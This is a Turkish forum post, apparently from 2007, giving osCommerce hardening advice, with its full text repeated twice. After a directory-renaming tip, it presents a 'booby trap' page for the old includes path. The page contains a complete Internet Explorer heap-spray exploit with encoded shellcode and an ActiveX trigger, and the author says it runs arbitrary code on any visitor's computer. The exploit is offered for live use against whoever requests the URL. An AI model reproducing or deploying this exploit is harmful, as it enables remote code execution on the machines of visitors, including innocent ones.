KraL
03-28-2007, 16:34
Merhaba arkadaşlar,
Burada oscommerce güvenliğini elimden geldiğince ve araştırmalarım sayesinde anlatmaya çalışacağım. Başlamadan önce tüm oscommerce güvenlik sorularınızı veyahut bildiklerinizi bu başlık altında veriniz. Aksi takdirde direk çöpe atarım konularınızı;)
Hadi başlayalım :D
1-) katalog/includes/configure.php ve katalog/admin/includes/configure.php
dosyalarını açalım..
define('DIR_WS_INCLUDES', 'includes/');
satırı
define('DIR_WS_INCLUDES', 'eklenen/');
olarak degistirin. daha sonra oscommerce de bulunan
catalog/includes
dizininin adını
catalog/eklenen
olarak değiştirin.Bu şekilde osc de bulunan herhangi bir RFI (REMOTE FILE INCLUDE) açığı sizi SCRIPT_KIDDY lere karşı koruyacaktır.
Script Kiddylerle Dalga Geçmek için HACKER ların işini Zorlaştırmak için biraz BUBİ Tuzağı Hazırlayalım Ne dersiniz ? :D
yukarıdaki işlem bittikten sonra hemen catalog/includes adı altında yeni bir php dosyası oluşturalım
Bizim hiçbir Bağlantı vermediğimiz bir url olan bu catalog/includes dizinine gitmeye çalışan biri bizim POTANSİYEL OLARAK DÜŞMANIMIZDIR.
includes dizini içinde kullanıcının talep edebileceği dizinleri ve dosyalarıda yaratıyoruz ve içine
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<script>
var heapSprayToAddress = 0x05050505;
var payLoadCode = unescape("D䖋謼ռŸ误ᡏ律Ġ䧫㒋Ƌ駀蒬瓀섇්숁吻Ф律Ĥ曫ಋ譋ᱟƋ觫쌄쀱譤삅౸䂋謌ᱰ训ࡨ৫肋° 梋弼噠삃偻繨桳ﺘຊw揧污c");
</script>
<script>
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("邐邐");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</script>
<object id=target classid="CLSID:88d969c5-f192-11d4-a65f-0040963251e5" >
</object>
<script>
var obj = null;
obj = document.getElementById('target').object;
try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};
obj.open(new Object(),new Object(),new Object(),new Object(), new Object());
obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
</script>
</body></html>
# http://0xd5.0x96.0x2d.0xc4 [2006-11-10]
Not : ilgili exploit microsoft iexplorer 6 ve 7 için şu anda halen kapatılamamış olan WML core services için geçerlidir. Kapatıldığında işe yaramaz.
Yerleştirdiğiniz zaman adamın bilgisayarında istediğiniz kodu çalıştıra bilirsiniz.
İlgili Saldırıdan korunma yolu: firefox kullanmak yada internet kullanmamaktır.
Burada oscommerce güvenliğini elimden geldiğince ve araştırmalarım sayesinde anlatmaya çalışacağım. Başlamadan önce tüm oscommerce güvenlik sorularınızı veyahut bildiklerinizi bu başlık altında veriniz. Aksi takdirde direk çöpe atarım konularınızı;)
Hadi başlayalım :D
1-) katalog/includes/configure.php ve katalog/admin/includes/configure.php
dosyalarını açalım..
define('DIR_WS_INCLUDES', 'includes/');
satırı
define('DIR_WS_INCLUDES', 'eklenen/');
olarak degistirin. daha sonra oscommerce de bulunan
catalog/includes
dizininin adını
catalog/eklenen
olarak değiştirin.Bu şekilde osc de bulunan herhangi bir RFI (REMOTE FILE INCLUDE) açığı sizi SCRIPT_KIDDY lere karşı koruyacaktır.
Script Kiddylerle Dalga Geçmek için HACKER ların işini Zorlaştırmak için biraz BUBİ Tuzağı Hazırlayalım Ne dersiniz ? :D
yukarıdaki işlem bittikten sonra hemen catalog/includes adı altında yeni bir php dosyası oluşturalım
Bizim hiçbir Bağlantı vermediğimiz bir url olan bu catalog/includes dizinine gitmeye çalışan biri bizim POTANSİYEL OLARAK DÜŞMANIMIZDIR.
includes dizini içinde kullanıcının talep edebileceği dizinleri ve dosyalarıda yaratıyoruz ve içine
<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<script>
var heapSprayToAddress = 0x05050505;
var payLoadCode = unescape("D䖋謼ռŸ误ᡏ律Ġ䧫㒋Ƌ駀蒬瓀섇්숁吻Ф律Ĥ曫ಋ譋ᱟƋ觫쌄쀱譤삅౸䂋謌ᱰ训ࡨ৫肋° 梋弼噠삃偻繨桳ﺘຊw揧污c");
</script>
<script>
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("邐邐");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</script>
<object id=target classid="CLSID:88d969c5-f192-11d4-a65f-0040963251e5" >
</object>
<script>
var obj = null;
obj = document.getElementById('target').object;
try {
obj.open(new Array(),new Array(),new Array(),new Array(),new Array());
} catch(e) {};
obj.open(new Object(),new Object(),new Object(),new Object(), new Object());
obj.setRequestHeader(new Object(),'......');
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
obj.setRequestHeader(new Object(),0x12345678);
</script>
</body></html>
# http://0xd5.0x96.0x2d.0xc4 [2006-11-10]
Not : ilgili exploit microsoft iexplorer 6 ve 7 için şu anda halen kapatılamamış olan WML core services için geçerlidir. Kapatıldığında işe yaramaz.
Yerleştirdiğiniz zaman adamın bilgisayarında istediğiniz kodu çalıştıra bilirsiniz.
İlgili Saldırıdan korunma yolu: firefox kullanmak yada internet kullanmamaktır.